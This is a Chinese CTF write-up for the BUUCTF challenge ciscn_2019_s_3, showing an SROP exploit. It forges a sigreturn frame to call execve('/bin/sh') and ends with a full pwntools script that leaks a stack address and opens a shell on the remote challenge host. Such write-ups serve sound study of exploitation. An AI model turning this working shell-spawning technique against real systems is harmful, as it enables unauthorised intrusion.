题目简介
题目背景和初步分析见:ret2csu-for-BUUCTF-ciscn-2019-s-3
在上述文章中已经分析过了这题ret2csu的解法,这里再记录另一种更简洁的解法:SROP
漏洞点分析
由于checksec和溢出点寻找、地址泄露等在ret2csu的那篇文章已经分析过了,这里不再赘述
我们直接从gadgets函数看起,除了上述文章提到的mov rax,0x3b指令,还可以看到gadgets里有mov rax,0xf的指令,如下图:

从二进制总结这篇文章中,我们可以得知15恰好是sigreturn系统调用的调用号,因此可以想到使用SROP的方法
综上,通过SROP进行利用的思路为:溢出buf,将返回地址劫持到mov rax,15处,然后执行syscall,开启sigreturn系统调用,再利用伪造的Signal Frame开启execve(“/bin/sh”,0,0)
漏洞点利用
SROP关键点在于伪造Signal Frame,其中主要的是rdi,rsi,rdx和rip这几个寄存器
一般来说rsi和rdx很好确定,作为execve的第2和第3个参数,直接填入0
rip寄存器是sigreturn会回到的指令地址,由于这题是no-PIE的,通过ROPgadget寻找syscall这个gadgets,填入其地址即可,如图:

最后,最重要的是rdi寄存器,该寄存器需要保存/bin/sh字符串的地址,但程序本身没有该字符串,需要我们自己输入
本题中我选择将其输入到buf开始的地方,然后根据泄露地址减去偏移,把buf首地址填入rdi
最后,需要根据上述寄存器的要求伪造Signal Frame,这是一件比较麻烦的事情,幸好pwntools提供了名为SigreturnFrame的类,只要指定相应的寄存器成员变量即可,其他无用寄存器会被初始化为0,不用管它
综上,最后的exp脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import * context(os="linux",arch="x86_64",log_level="debug") context.terminal=["tmux","splitw","-h"] targetELF="./pwn" elf=ELF(targetELF) LOCAL=1 REMOTE=2 DEBUG=3 def Lauch(mode=LOCAL): if mode==LOCAL: io=process(targetELF) elif mode==REMOTE: io=remote("node5.buuoj.cn",28056) elif mode==DEBUG: io=gdb.debug(targetELF,"b *0x400501") return io
ioTube=Lauch(REMOTE) offset=0x10 mov_rax_15_ret=0x4004da syscallAddr=0x400501 backAddr=elf.symbols["vuln"]
def LeakStack(io): payload=b'A'*offset+p64(backAddr) io.send(payload) io.recv(0x20) leak=u64(io.recv(0x10)[0:8].ljust(8,b'\x00')) return leak
fakeSigFrame=SigreturnFrame() fakeSigFrame.rax=59 fakeSigFrame.rsi=0 fakeSigFrame.rdx=0 fakeSigFrame.rip=syscallAddr
stackAddr=LeakStack(ioTube)
binshAddr=stackAddr-0x118 fakeSigFrame.rdi=binshAddr
payload=b"/bin/sh\x00"+b'A'*(offset-len(b"/bin/sh\x00"))+p64(mov_rax_15_ret)+p64(syscallAddr)+bytes(fakeSigFrame) ioTube.send(payload) ioTube.interactive()
|